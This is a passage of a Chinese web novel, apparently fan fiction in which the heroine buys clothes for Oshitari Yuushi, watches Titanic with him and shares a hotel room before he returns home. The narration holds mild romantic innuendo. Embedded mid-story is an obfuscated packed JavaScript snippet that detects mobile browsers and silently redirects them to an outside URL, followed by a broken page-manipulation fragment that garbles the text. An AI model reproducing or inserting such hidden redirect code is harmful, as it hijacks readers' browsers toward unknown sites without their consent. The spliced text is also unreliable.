他哪里还敢耽搁?立刻抱着衣服转身进了更衣室。 几分钟后,更衣室的门打开,忍足侑士走了出来。 效果堪称惊艳。 顶级的面料和精妙的剪裁完美地贴合了他高挑健美的身材,领口解开了两颗扣子,隐约露出线条流畅的锁骨,带着一丝慵懒的性感。 长裤勾勒出修长有力的腿部线条,那几颗设计独特的银色纽扣在灯光下闪烁着冷冽的光泽,与他深邃的五官和身上那股混合着慵懒与锐利的气质相得益彰。 俊美优雅的脸庞在黑衣的衬托下,更添了几分神秘迷人的气场。 连见惯了帅哥美女的店员都忍不住多看了几眼,低声赞叹。 如月的目光在他身上从头到脚扫视了一遍,微微颔首,给出了一个简洁的评价: “嗯。不错。” 忍足还沉浸在“大小姐亲自给我挑衣服还夸我了”的喜悦中,嘴角的笑容压都压不下去。 然而,下一秒,他就笑不出来了。 只见刚才那位店员,此刻脸上挂着无比热情,甚至有点谄媚的笑容,双手捧着一大摞衣服,如同小山般堆到了忍足面前。 “先生,这些都是小姐刚才为您挑选的,”店员的声音甜得发腻,“请您继续试穿吧~” 不仅有各种颜色和材质的衬衫、T恤,还有好几条不同款式的长裤,甚至还有搭配的皮带、领带夹等小物。 忍足看着眼前这堆成小山的衣服,瞬间汗如雨下。 这……这得试到什么时候? 他求助般地看向沙发上的如月遥,她正慢悠悠地翻看着一本杂志,眼皮都没抬一下,仿佛没看到他求救的目光。 “……” 好吧,大小姐的命令是绝对的。 抱起那堆衣服,像个被塞满了的衣架,脚步沉重地再次走进了更衣室 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526648|186328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 接下来的时间,忍足感觉自己像个没有感情的换装模特。 一件、两件、三件…… 深蓝色、浅灰色、米白色…… 棉质的、亚麻的、真丝的…… 他不停地进进出出,在如月遥面前展示着各种风格。 如月遥全程保持着“评委”的姿态,偶尔点头,偶尔蹙眉。 点头的,店员立刻殷勤地记下。 蹙眉的,忍足立刻如蒙大赦般换下一套。 终于在经历了仿佛一个世纪的“T台秀”之后,折磨结束了。 店员将如月遥点头认可的衣服都整理了出来。 七八件不同款式的上衣,三四条剪裁精良的长裤,甚至还搭配好了两条风格不同的皮带和一个银质领带夹。 忍足看着眼前这一大堆战利品,感觉有点头晕眼花,也有点受宠若惊过头了。 “这么多……选哪件?” 他以为只是买那套最初的黑衬衫和裤子。 如月遥站起身,走到那堆衣服前,目光平静地扫过,然后抬起头看向忍足,语气理所当然到极点,“选?” 她樱唇轻启,吐出三个让忍足差点被自己口水呛到的字:“都要了。” 说完,她极其自然地从自己手袋里拿出一张低调奢华的黑卡,随手递给了旁边已经笑得见牙不见眼的店员:“结账。” “……” 忍足感觉自己的嘴角在疯狂抽搐! 都要了?! 这么多?! 而且大小姐这刷卡的动作,这漫不经心的语气,这“我买单你闭嘴”的气势…… 店员那看向他的眼神,分明清清楚楚地写着—— “哇!大小姐豪掷千金包养小白脸现场直播!” “这位帅哥真是好福气!” “吃软饭吃得如此理直气壮!” 忍足只觉得脸上火辣辣的,他张了张嘴,想劝如月遥不必如此破费,随便买一套就行。 然而,他还没来得及发出一个音节,那位训练有素的店员已经以迅雷不及掩耳之势完成了刷卡、签字、包装等一系列动作。 “小姐,您的卡!衣服都为您包好了!” 店员的声音带着十二万分的恭敬和对“金主”的无比崇拜。 如月遥收回卡,看也没看那几大袋衣服,目光转向还僵在原地、表情复杂的忍足,微微蹙眉,“发什么呆?” “跟上。” “不是要看电影吗?” 忍足看着大小姐潇洒离去的背影,再看看脚边那几袋价值不菲、沉甸甸的“包养证据”。 迈开长腿,快步跟了上去。 心里只有一个念头:算了,小白脸就小白脸吧…… 大小姐开心就好。 那几大袋价值不菲的衣服,被训练有素的柜员送到了商场指定的VIP物品存放处,并告知他们会妥善保管,等电影散场时再去领取即可。 离开男装店,忍足手里只拎着如月遥那个小小的手袋,脚步却轻快得仿佛踩在云端。 他忍不住开口,声音里带着点压不住的雀跃, “如月……那个衣服…买得太多了吧?” 如月遥脚步未停,瞥了他一眼,眼神里带着一丝疑惑:“多吗?” “还好吧。” 语气自然得仿佛只是买了一袋子苹果。 忍足瞬间想起了在心斋桥那次,这位大小姐在美妆柜台前那“横扫千军”般的扫货架势。 十几件衣服裤子在她眼里,可能真的只是“还好吧”的程度。 他无奈地摸了摸鼻子。 但心里那股被“包养”的幸福感和一丝隐秘的期盼驱使着他,他还是想多问一句。 试图从这位向来惜字如金的大小姐嘴里,撬出一点点他渴望听到的、超越“赔偿”之外的东西。 如月遥目视前方,仿佛在陈述一个再简单不过的事实:“你不是一直要跟在我身边吗?” “还要给我当地陪导游。” “穿好看点,应该的。” 最后,她丢下了一个让忍足心跳瞬间飙到两百迈的、带着点理所当然的“霸道总裁”式理由: “不能丢了我的面子。” 忍足精准地捕捉到了那句关键信息。 “一直要跟在我身边……” 她说“一直”! 她说“跟在我身边”! 语气是如此的平淡自然,仿佛这已经是既定的事实,无需置疑。 这说明什么? 忍足解读为,他的未来是和她捆绑在一起的。她不仅不反感他的存在,不反感他的靠近,甚至已经默认了他会“一直”在她身边。 这是一种近乎于归属感的默认。 试图平复过于激动的心情,然而开口的声音却带着无法掩饰的满足,甚至微微有些发颤: “是啊。” “谢谢大小姐。” 如月遥只是微微颔首,侧脸线条在商场明亮的灯光下显得格外柔和,樱唇轻启,吐出三个字:“小意思。” 47. 第 47 章 在男装店耗费了将近两三个小时,出来时距离电影开场已经不远了。 两人加快脚步朝着顶层的影院走去,路过爆米花柜台,香甜的气息扑面而来。 “要爆米花吗?” 如月遥的目光扫过柜台里金灿灿、散发着焦糖香气的爆米花,毫不犹豫地点头:“要。” “大份的。” 忍足立刻买了一份最大桶的爆米花,两人捧着爆米花桶随着人流,迈进了灯光昏暗的IMAX影厅。 电影票的位置很好,正中间靠后,视野极佳。 影厅里几乎座无虚席,空气中弥漫着爆米花的甜香和人群低声交谈的嗡嗡声。 灯光彻底熄灭。 厚重的丝绒幕布缓缓拉开。 巨大的IMAX银幕亮起,放映机投射出第一束光芒。 熟悉的、宏大而悲怆的苏格兰风笛前奏《Never An Absolution》如同潮水般汹涌而出,瞬间淹没了整个影厅。 电影开场。 《泰坦尼克号》——这艘承载着爱情、梦想与毁灭的巨轮,在银幕上缓缓启航,驶向它既定的、壮丽而悲怆的命运。 黑暗中,忍足坐得笔直,目光紧紧追随着银幕上Jack和Rose初遇的画面。 他专注地看着,却清晰地感受到身边之人的存在感。 她身上的雪松气息,细微的呼吸声,都在这黑暗的、被史诗爱情包裹的空间里,无限放大了。 电影中途,他的手朝着两人座位中间的爆米花桶抓去,却不经意地触碰到了同样去拿爆米花的如月遥的手。 指尖相触。 如同两道微弱的电流,在黑暗中无声交汇。 啪! 一声极其轻微的脆响。 他的手背被不轻不重地打了一下。 力道很轻,像一只蝴蝶短暂地停驻又飞走,带着点警告的意味。 紧接着,如月遥压低的声音,如同溪水流淌进他的耳廓,小小的威胁: “不许和我抢吃的。” 明明是带着命令的语气,可忍足却敏锐地捕捉到了那冷硬外壳下,属于她独有的别扭脾气。 就像一只高傲的猫,护着它的食盆。 忍足的手停在半空,嘴角却在黑暗中无声地勾起,顺从地收回手,甚至没有一丝不悦。 身体朝如月遥的方向倾斜了几分,在嘈杂的背景音和电影宏大的配乐中,他压低的声音带着慵懒的磁性,如同陈年的醇酒,清晰地送入她耳中: “是。” “你先吃。” “你最重要。” 他的声音低沉性感,带着关西腔特有的韵味,将这句本应是回应的话,说得缠绵悱恻,充满了令人遐想的空间。 如月遥动作一滞,爆米花甜腻的焦糖香气瞬间变得粘稠,仿佛堵在了喉咙口。 她感觉被那该死的爆米花狠狠噎了一下,幸好被黑暗完美地掩盖了。 她在黑暗中狠狠地剜了忍足一眼。 用力扭回头,强迫自己将所有的注意力都集中在银幕上,仿佛要将那银幕盯穿,坚决不再理会身边那个家伙。 电影在悲怆的《我心永恒》旋律中落幕。 巨轮沉入冰冷的海底,Jack沉入永恒的黑暗,Rose带着爱与承诺活下去…… 灯光亮起,影厅里弥漫着浓重的悲伤氛围,抽泣声清晰可闻。 两人依旧坐在位置上,没有立刻起身,等着汹涌的人潮先散去。 “最喜欢哪一段?” 忍足的声音打破了沉默,带着电影余韵的沙哑,侧过头看着如月遥在灯光下依的侧脸。 如月遥的目光没有焦距地落在前方空荡的银幕上,沉默了几秒。 她没有落泪,脸上甚至没什么悲伤的表情,只有深沉的平静。 “那对老夫妻。” “他们很幸运。” 她的目光仿佛穿透了时空,落在泰坦尼克号沉没前那对相拥在床榻上的老人身上。 “长久的相爱,长久的陪伴……” “然后一起死去。” 最后一句如同冰凌坠地,带着一种穿透灵魂的力量。 “爱比死更长久。” 忍足的心如同被无形的手攥紧,他看着她平静的侧脸,听着她冰冷语调下说出的关于爱情最极致、最温柔的注解。 这份在悲剧中展现的永恒之爱,被她用如此平静的方式道出,没有煽情,却比任何哭泣都更直击人心。 冷漠的表象下深藏对纯粹情感的认同和向往。 冰冷的大小姐,内心却是一片如此温柔深邃的海洋。 他几乎是下意识地、冲动地伸出了手,指尖小心翼翼地触碰到了她搁在扶手上的微凉指尖。 如月遥的身体一僵,瞬间回神,本能地就要将手抽回,眼眸带着戒备看向忍足。 忍足没有退缩。 他的手指坚定地、温柔地向前,穿过她试图逃离的指尖缝隙,牢牢地握住了她的手,掌心滚烫的温度,包裹住了她微凉的肌肤。 “散场人多,”低沉沙哑,目光紧紧地锁住她带着愠怒的眼眸,“拉住了,才不会散。” 拉住了,才不会散。 这句话,轻飘飘地落在寂静的影厅里。 像是在解释此刻拥挤的散场人潮,又像是在诉说着一个关于遥远未来的、无比郑重的承诺。 如月遥看着他的眼睛。 那双眼眸,在影厅尚未完全明亮的灯光下,深邃得如同此刻电影里那片埋葬了无数爱情与梦想的冰冷深海,却又燃烧着足以融化坚冰的炽热火焰。 那里面盛满了太多她无法完全解读,却清晰感受到的沉重情感。 挣扎的力道在深海中悄然松懈,紧绷的身体线条,微微软化。 她抿紧了唇瓣,仿佛在无声地对抗着什么。 最终,她没有抽回手,只是被他紧紧包裹在掌心里的手指,极其轻微地蜷曲了一下。 那细微的指关节弯曲的弧度,带着一种别扭的却又无比真实的回应,轻轻刮擦过忍足掌心的薄茧,带来细微的令人心尖发麻的酥痒。 感受到这份无声的默许和那细微的刮擦触感,忍足的心如擂鼓。 冲垮了所有紧张,他不再犹豫,更加坚定地收拢了手指,将她微凉柔软的手,更紧更密不透风地包裹在自己滚烫的掌心里。 仿佛握住了整个世界的重量。 又仿佛握住了那比死亡更长久的一丝微光。 散场时,夜幕早已低垂。 两人在商场里随意吃了些晚餐,走出百货公司时,墙上巨大的电子钟显示着九点整。 城市霓虹闪烁,夜风带着白天的余温。 “晚上行车不安全。” 如月遥拉开车门坐进副驾,声音有些疲惫,“找个地方住一晚吧。” 忍足拿出手机搜索附近的酒店,很快选定了一家评价不错、环境清幽的精品酒店,驱车前往。 然而,现实很快给了他们一个措手不及。 “非常抱歉先生女士,”前台小姐脸上挂着职业化的、充满歉意的微笑。 “目前只有一间标准间了,其他的房型全部客满。” “标间?”如月遥的眉头瞬间蹙紧,她显然对这个结果十分不满。 狭小的空间,两张床,这意味着几乎没有隐私和界限。 抬眼望向酒店外深沉的夜色,一天的奔波和左手的不便带来的疲惫感悄然涌上。 再开车辗转去找其他酒店? 光是想想就觉得麻烦透顶。 抿紧了唇,脸上毫不掩饰地写满了“我不高兴”,却没有开口拒绝。 忍足观察着如月遥的脸色,见她虽然不爽,但似乎没有拂袖而去的意思,他小心翼翼地开口:“那……就这间?” 如月遥极其不耐烦地、几乎是从鼻腔里发出一声:“嗯。” 忍足如蒙大赦,飞快地掏出证件办理入住手续。 当他把自己的证件递给前台时,脸颊不受控制地微微发烫。 总觉得前台小姐看他和如月遥的眼神带着了然,仿佛他们是一对来住宿的情侣。 这种隐秘的羞耻感混合着一丝窃喜,让他办理手续的动作都有些僵硬。 拿到房卡,两人沉默地坐上电梯,气氛有些微妙。 标间果然不大。 一张靠窗,一张靠墙,中间隔着一个小小的床头柜。 附带一个简洁的卫浴和一个靠墙的小书桌,虽然干净整洁,但对于习惯了大空间的两人来说,显得有些局促。 一进门,如月遥就极其自然地踢掉了脚上那双高跟鞋。 光洁白皙的玉足直接踩在了柔软的地毯上,发出一声舒适的轻叹,仿佛终于摆脱了束缚。 忍足则像个尽职尽责的管家,默默地将两人的行李包放进了衣柜。 如月遥的目光在两床之间扫视了一圈,没有任何犹豫,指尖指向靠窗的那张床:“我要那张。” “好。”忍足毫无异议。 他挂好门锁,换上酒店的软底拖鞋,然后看向依旧赤着脚踩在地毯上的如月遥, “如月,拖鞋……” “不要。” “不喜欢穿鞋。” 回答得干脆利落,她向来享受赤足的触感。 忍足看着那双踩在深色地毯上、白得晃眼的脚,喉结不自觉地滚动了一下。 他压下心头的悸动,还是忍不住叮嘱:“现在夏天还好……冬天可不行。” “天冷,赤脚踩地板容易着凉。” 如月遥已经转身走向衣柜去拿自己的洗漱包,只丢过来一句冷冰冰的评语: “啰嗦。” 她抱着装有护肤品和卸妆用品的小包,径直走进了卫生间,关上了门。 忍足这才松了口气,有些僵硬地走到属于自己的那张靠墙的床边坐了下来。 柔软的床垫微微下陷,然而此刻心却乱糟糟的,根本无法平静下来。 居然…… 和大小姐住在一个房间了! 虽然是两张床…… 但这四四方方的密闭空间里,只有他们两个人。 空气里仿佛都弥漫着她身上那若有似无的雪松冷香,卫生间里传来的细微水流声和物品碰撞声,更是无限放大了这份存在感。 忍足只觉得脸颊又开始发烫,心跳得像要从喉咙里蹦出来。 他脑海里不受控制地浮现出刚才前台小姐那意味深长的笑容,越想越觉得脸颊发烫。 就在他沉浸在自己的粉红幻想里时,卫生间的门“咔哒”一声被打开了。 如月遥举着自己那只被包裹得严严实实的左手,递到忍足面前,不容置疑的命令,“拆掉。” 显然是在卫生间里因为这只碍事的“棒槌”而无法顺利卸妆和洗澡,让她十分恼火。 拆掉? 现在? “不行!”几乎是脱口而出,语气带着医学生 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“化妆品的油脂和残留物如果浸润到刚愈合的伤口边缘,会比不包扎更容易引发感染。” 他的目光紧紧锁住她那只包裹严实的手,再次强调,“绝对不行!” 如月遥被他这油盐不进的态度彻底点燃了怒火,就在她即将爆发的前一秒,忍足求生欲爆棚。 “我……我帮你卸妆行吗?” “我保证,会很小心!” 如月遥被他这突如其来的“毛遂自荐”噎得一口气差点没上来。 她难以置信地瞪着忍足,再看看他那张写满了“打死我也不拆绷带”的固执脸,满腔的怒火像是被戳了个洞,瞬间漏了一半,只剩下一种无力的荒谬感。 她气得牙痒痒,又毫无办法。 最终,所有的憋屈和烦躁化作了一记凶狠的脚踢。 狠狠地带着泄愤意味地踢在了忍足的小腿上,力道不小,踢得忍足倒抽一口冷气。 “滚进来帮忙!”她压低声音,带着被逼妥协的愤怒,猛地转身,率先走回了卫生间。 忍足揉着被踢得生疼的小腿,龇牙咧嘴,心里却大大松了口气,赶紧跟了进去。 洗漱台上,已经整齐地摆放着如月遥带来的卸妆水、卸妆棉和其他清洁用品。 如月遥面无表情地站在镜子前,仰起脸,闭上眼,一副“你赶紧的”僵硬姿态。 但那微微颤抖的、如同蝶翼般的长睫毛,却泄露了她内心并非毫无波澜。 忍足努力调动起自己作为准医生的专业素养,镇定,冷静,专注。 拿起干净的卸妆棉,倒上适量的卸妆水,抬起手隔着那层湿润的卸妆棉,轻轻地抚上了她的脸颊。 指尖的触感,隔着薄薄的棉片,清晰地传来。 她的皮肤细腻光滑,甚至能透过棉片,隐约看到她脸颊上极其细微的绒毛。 忍足屏住呼吸,强迫自己将所有注意力集中在“卸妆”这项任务上。 手指稳定地沿着她的额头、眉骨、眼窝、脸颊一点点擦拭。 动作轻柔、缓慢,带着一种近乎神圣的专注。 当卸妆棉擦过她柔软的唇瓣时,残留的口红被一点点拭去,露出原本粉嫩饱满的唇色。 那微微张开的唇,在灯光下散发着无声的诱惑,仿佛在邀请。 一股燥热瞬间冲上头顶,忍足如同被烫到一般,飞快地移开了视线,不敢再看。 家教和道德在疯狂叫嚣,他内心拼命默念。 冷静! 忍足侑士! 你只是在帮忙! 不许想别的! 不许! 加快了手上的动作,努力忽略指尖传来的、令人心猿意马的触感和眼前的视觉冲击。 漫长的几分钟后,卸妆终于完成。 忍足几乎是逃离般地收回了手,顺手将用过的卸妆棉丢进垃圾桶,感觉后背都出了一层细汗。 如月遥睁开眼,对着镜子看了一眼自己素净的脸庞,没说话。 拿起旁边早已准备好的衣物,面无表情地绕过僵在原地的忍足,径直走进了淋浴间。 “砰”地一声关上了磨砂玻璃门。 忍足这才像被解除了定身咒,如同打了一场硬仗,他几乎是手脚并用地“滚”出了卫生间,顺手带上了门。 靠在冰凉的墙壁上,听着里面哗哗的水声,忍足的心依旧狂跳不止。 忍不住对着磨砂玻璃门的方向,再次提高了声音叮嘱:“大小姐,千万注意。左手绝对不要碰到水,避开伤口。” 回应他的,不是如月遥冰冷的斥责。 而是—— 唰! 一股强劲的水流,精准无误地朝着他声音的方向滋了过来。 忍足“啊呀呀”叫了一声,手忙脚乱地跳开,温热的水珠溅了几滴在他脸上和衣服上。 他狼狈地抹了把脸,看着那扇隔绝了视线的玻璃门,听着里面似乎隐隐传来一声极其轻微、带着点胜利意味的冷哼…… 忍足非但没有生气,反而捂着被水溅湿的脸颊,无声地咧开嘴傻笑起来。 心里像是被灌满了蜜糖,甜得发齁。 大小姐…… 真是别扭得太可爱了! 48. 第 48 章 水流声终于停止。 磨砂玻璃门被拉开,氤氲的热气如同云雾般涌出。 如月遥穿着那件克罗心黑色睡衣走了出来,发尾还在往下滴着水,在睡衣布料上洇开一小片水痕。 忍足早已准备妥当,拿起旁边插好电的吹风机:“我帮你吹头发?” “不用。”她拒绝得干脆利落,“你去洗澡。” 她抬手指了指墙上的时钟:“早点洗完早点睡觉。” “别耽误我休息。” 忍足:“……” 好吧,她的命令必须服从。 浴室里,温热潮湿的空气尚未完全散去。 浓郁而清晰的雪松强势地充斥着他所有的感官,如同她本人一样,清冽、独特、带着不容忽视的存在感,霸道地钻入鼻腔,瞬间包裹了他。 忍足站在花洒下,任由温热的水流冲刷着身体,洗去一天的疲惫。 低下头。 目光落在脚下微凉的地砖上。 水正沿着瓷砖的缝隙流淌,就在蜿蜒之处,静静地躺着两根乌黑细长又柔韧的发丝。 那是属于她的发丝。 仿佛是水流不舍得将它们完全带走,又或许是那发丝太过纤细柔软,它们被水带动着,轻轻地、缠绵地绕住了他光裸的脚。 两根发丝像有了生命般顽皮地打着旋儿,柔软的末端轻轻刮蹭着他脚底的皮肤,带来细微的、令人心尖发麻的痒意。 它们没有被冲走。 它们缠住了他。 这两根微不足道的发丝是她存在过的无可辩驳的证据。 缠绕着他,仿佛某种无声的羁绊。 这种细微又带着强烈暗示性的亲密,比任何言语都更让他心旌摇曳。 他看着那两根被水流环绕、却执着缠绕着他脚踝的黑发,喉结无声地滚动了一下,眼眸在氤氲的水汽里,翻涌着复杂而炽热的光。 忍足换上干净的T恤和短裤,带着一身潮湿的水汽走出了浴室。 下意识地抬手闻了闻自己的衣袖。 很好,只有酒店沐浴露的普通香气,那些足以让他失控的雪松气息,已经被彻底冲洗干净了。 如月遥背对着他坐在床边的小沙发上,她那只没受伤的右手正举着吹风机,对着自己几乎干透的长发做着最后的收尾工作。 显然,她单手操作虽然不便,但还是完成了这项艰巨的任务。 听到动静,她转过头来,带着毫不掩饰的嫌弃:“你怎么洗这么久?” 目光扫过他湿漉漉的发梢,又看了看自己那只包裹严实、显然无法有效参与沐浴大业的左手,语气更加不满:“比我少一只手还慢。” 忍足的心脏猛地一跳。 刚刚在浴室里那短暂而隐秘的沉溺,那两根缠绕脚踝的发丝带来的隐秘悸动,瞬间被这句犀利的质问戳穿。 心虚如同电流般窜遍全身,他只觉得脸颊发烫,眼神飘忽,根本不敢直视她那双能洞察一切的眼睛。 “呃……那个……”他含糊不清地试图搪塞,声音干涩,“水…水有点凉,多泡了会儿……” 这个理由简直烂得他自己都不信。 如月遥显然也没信,只是冷冷地哼了一声,关掉了手中的吹风机,随手丢在桌上。 她径直走到靠窗的那张床前,掀开被子钻了进去,只留给他一个冷漠的后脑勺。 “吹干你的头发。”她的声音从被子里闷闷地传来命令,“睡觉。” 忍足如蒙大赦,连忙应声:“知道了!” 他几乎是逃也似地抓起吹风机,冲进了卫生间,反手关上了门。 狭小的空间里只剩下他一个人。 他靠在瓷砖墙壁上,深深地吸了一口气,又重重地吐出来,立志要把胸腔里那股积压已久的名为欲望和罪恶感的浊气全部排出。 打开吹风机,嗡嗡的噪音立刻充斥了小小的空间。 热风拂过湿润的头发,也试图吹散他内心的躁动不安。 他看着镜子里自己依旧泛红的脸颊和闪烁的眼神,忍不住抬手捂住了脸,发出一声压抑的叹息。 刚刚在浴室里… 她的雪松味道太浓烈了… 那两根缠绕脚踝的发丝太撩人了… 他…是个再正常不过的、血气方刚的男人啊…… 在那片被她气息完全占领的空间里,面对着那无声缠绵的、带着巨大暗示的诱惑…… 他终究没能忍住。 带着这个绝对不能宣之于口、甚至连回想起来都让他脸颊发烫心跳失序的“秘密”,忍足心不在焉地吹着头发。 右手手腕那隐秘的、因剧烈动作而产生的酸胀感,也在清晰地提醒着他刚才那短暂却激烈的失控。 他需要时间来平息这份悸动,来冷却这份灼热,来安抚这颗依旧在疯狂擂动的心脏,以及那酸累的右臂。 忍足带着一身清爽的水汽和尚未完全平复的心绪走出卫生间时,如月遥已经躺在了靠窗的那张床上。 房间里只开着他床头那盏小小的阅读灯,昏黄的光晕如同一个温柔的茧,将房间的大部分区域笼罩在柔和的阴影里。 她背对着他侧躺着,墨黑如瀑的长发铺散在洁白的枕套和床单上,形成惊心动魄的对比。 这画面让他不由自主地又想起了两根缠绕脚踝的发丝,以及随之而来的负罪感。 他庆幸此刻她背对着,给了他宝贵的喘息之机,让他能迅速收敛起所有不该有的心思,努力在脸上堆砌出平静的假象。 忍足轻手轻脚地走到自己的床边,掀开被子躺了进去,柔软的床垫微微下陷,发出细微的声响。 橘黄色的光线只照亮了他身周一小片区域。 拿起手机,屏幕的光映亮了他的脸,屏幕上显示着好几条未读信息。 大部队的群里很热闹: 【向日岳人】:安全抵达!轻井沢太棒了!下次还去! 【宍户亮】:@忍足你小子人呢?没看到你的车子跟在后面啊。 【泷荻之介】:专车护送如月同学啦~ 大家懂的~ (坏笑.jpg) 【迹部景吾】:啊嗯?忍足你到家了吗? 【忍足侑士】:咳,有点事耽搁了,明天回。大家平安就好。 【向日岳人】:哦~~~ 有事~~~ (八卦之魂熊熊燃烧.jpg) 接着是教授发来的邮件,附件里是几份复杂的医学数据报告,有几个关键点被标红,需要他仔细思考分析。 他快速浏览了一遍,回复道。 【收到,教授。数据已查看,难点部分我会仔细研究,明晚前给您初步分析报告。】 最后是姐姐忍足惠里奈的信息。 【惠里奈】:小侑,不是说今天回来?人呢?妈妈问起你了。 【忍足侑士】:临时有点事,在东京近郊住一晚,明天回,别担心。 【惠里奈】:哦?近郊?跟谁?(八卦雷达启动.jpg) 【忍足侑士】:……朋友。睡了,晚安。 回复完所有信息,房间里彻底安静下来,只剩下空调送风系统低沉而规律的嗡嗡声,如同催眠的白噪音。 就在这时,旁边床上传来窸窣的翻身声。 忍足转头看去,如月遥已经转过了身,她侧躺在枕头上面对他,眼眸在昏黄的灯光下显得格外清亮。 “是不是灯太亮了?”忍足立刻放轻了声音,带 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如月遥沉默了,目光在他脸上停留了几秒。 “为什么总是叫我大小姐?” 忍足愣住了。 为什么? 这个称呼似乎从他认识她不久后,就自然而然地叫了出来,并且再也改不了口。 他看着她,眼眸在灯光下显得格外深邃,认真地想了想才开口:“因为觉得很适合你。” 声音低沉而温柔,带着发自内心的笃定,“高贵,强大,独一无二。像需要被精心守护的珍宝,又像指引方向的明月。” “不喜欢我这么称呼吗?” 如月遥没有立刻回答,过了几秒才几不可闻地“哼”了一声,声音带着点别扭,“没有。” “那就这么叫吧。” “反正也习惯了。” 习惯了…… 习惯了被他这样称呼。 习惯了他这样小心翼翼地、带着无限珍视地对待她。 这句话像一颗投入心湖的石子,在忍足心里漾开巨大的涟漪。 小小的客房里,一盏昏黄的床头灯。 两张并排的床,两个人隔着咫尺的距离,躺在各自的床上,目光在暖色的光晕中无声地交汇。 空气仿佛凝固了,时间也慢了下来。 只有彼此的心跳声,在寂静中清晰可闻。 如月遥被他那过于专注深情的目光看得有些不自在,睫毛颤动了几下,然后又翻了个身,重新给了他一个冷漠的后脑勺。 “睡觉!” “明天还要开车回去呢!” 像是为了强调自己的威严,她又补充了一句:“早上不许吵我,我自己会醒的。” 忍足看着她那个写满了“别看我”的后脑勺,嘴角控制不住地向上扬起,眼眸里盛满了几乎要溢出来的温柔笑意。 他知道她的起床气有多可怕。 “好的好的~”像在哄一个闹别扭的孩子,“知道了,大小姐。” 伸手按下了那盏小灯的开关。 “啪嗒。” 房间瞬间陷入一片温柔的黑暗。 视觉被剥夺,其他的感官瞬间变得无比敏锐。 他能清晰地听到她细微的呼吸声,能感受到她存在的气息,能闻到空气中若有似无的、属于她的气息…… 忍足抱着柔软的被子,在黑暗中无声地咧开嘴,一个傻乎乎却又无比幸福的笑容。 闭上眼,将脸埋进带着阳光味道的枕头里。 今晚一定是个美梦。 49. 第 49 章 车稳稳停在如月的别墅前。 忍足如同最尽职的司机兼管家,先替如月遥拉开车门,护着她受伤的左手让她平稳下车,又去后备箱拎出了她的行李包。 “伤口记得按时换药,左手别碰水。”忍足将袋子递给她,忍不住又叮嘱了一句,语气带着习惯性的关切。 如月遥接过袋子,微微颔首,算是回应。 纤细的身影很快消失在厚重的雕花门后。 忍足看着紧闭的大门,在原地站了几秒,才重新坐回驾驶座,发动车子驶向自己家。 忍足家的宅邸风格更偏向传统日式的典雅与现代相结合。 忍足侑士刚踏进玄关。 “啊啦!欢迎回来!” 母亲温柔的声音响起。 然而,当她目光落在儿子手里印着好几个顶级奢侈品Logo的购物袋时,温柔瞬间变成了惊奇。 姐姐惠里奈也从楼上探出头来,看到忍足手里的东西,眼睛瞬间瞪圆: “哇!小侑!你回来啦!”惠里奈几步跑下楼,像只嗅到花蜜的蜜蜂一样围着忍足打转,目光黏在他手上那些明显价值不菲的袋子上。 “你发财啦?买这么多?还都是新款!” 她毫不客气地拿起一个袋子看了看,“啧啧啧,这件衬衫可不便宜!这么下血本啊?终于开窍舍得打扮自己了?” 忍足看着自己手里这堆“证据”,想起大小姐那副“我买单我乐意”的霸道总裁架势,心里既是甜蜜的无奈,又有点哭笑不得。 含糊地应道:“不是我买的……是朋友送的。” “朋友送的?!”惠里奈的声音瞬间拔高了八度,八卦雷达全面启动。 “你什么时候又有这么阔绰的朋友了?你的朋友我都认识,迹部才不会送你这么多衣服,还都是顶级大牌!” 她凑近弟弟,脸上是毫不掩饰的促狭笑容,压低了声音:“老实交代!是不是女朋友?昨天你没回家,是不是跟这个‘女朋友’…在外面过夜了?” 她故意拖长了语调,眼神暧昧地在忍足的脸上扫来扫去。 忍足的脸瞬间涨红。 “姐!”他试图推开像八爪鱼一样缠上来的惠里奈,窘迫得只想立刻遁地,“你别胡说八道!” 母亲掩嘴轻笑,她轻轻吸了吸鼻子,“咦?小侑,你身上…好像有股很好闻的味道?” 仔细分辨了一下,“很清冽…还带着一点冷感,是新买的香水吗?” “你以前可从来不用这么冷的香水呢~” 顿了顿,母亲的目光意有所指地扫过那些奢侈品袋子,语气了然:“难道是那位‘女朋友’的香水?” 母亲和姐姐一唱一和,双倍调侃。 忍足侑士只觉得一个头两个大,连连告饶,拎着包像抓住救命稻草般,狼狈地试图突破“封锁线”往自己房间冲,“车载香薰的味道而已!饶了我吧,我先回房放东西!” 逃也似地冲进了自己房间,砰地一声关上门。 他把那堆衣服放在房间一角,看着它们脑海里又浮现出如月遥那张清冷淡漠、却又在刷卡时带着理所当然霸气的脸,嘴角忍不住向上扬起。 但是,轻松的心情只持续了几秒。 他听到了书房方向传来的动静——父亲在家。 忍足定了定神,整理了一下略显凌乱的衣领和心绪。 有些事情,终究需要面对和解决。 走到书房,轻轻敲门。 “请进。”父亲沉稳的声音传来。 书房里弥漫着淡淡的书卷气和茶香,父亲坐在宽大的书桌后,看到儿子进来,脸上露出温和的笑容。 “回来了?轻井沢度假怎么样?玩得开心吗?” “嗯,还不错。”忍足在书桌前站定,恭敬回答。 短暂的寒暄后,他决定直奔主题。 “父亲,关于这次度假……我想有些误会需要澄清一下。” “我这次并非是和清水绫子小姐一同去的。” “您之前没问过我,就擅自送给清水小姐的那个小鹿挂件……” “它引发了一些……不必要的误会。” 他想起清水绫子拿着挂件质问的样子,想起如月遥那冰冷嘲讽的眼神,以及由此引发的一连串混乱。 “给我…还有我的朋友,造成了一些困扰。” “所以我已经和清水绫子小姐当面说清楚了。” 他看着父亲的眼睛,一字一句,清晰地表明自己的立场:“我从始至终,都无意于和清水家联姻。请您不要再有任何这方面的误会了。” 忍足父亲脸上的笑容渐渐凝固,取而代之的是浓浓的惊讶和困惑。 “不是清水小姐?”他显然对这个结果毫无准备,眉头紧锁,“我以为…你喜欢的应该是她?” 他努力回忆着那次赏花宴后的种种迹象,“那次赏花宴回来,你明显变得不一样了,心里明明就是有人了的样子。” 他一直以为是清水绫子。 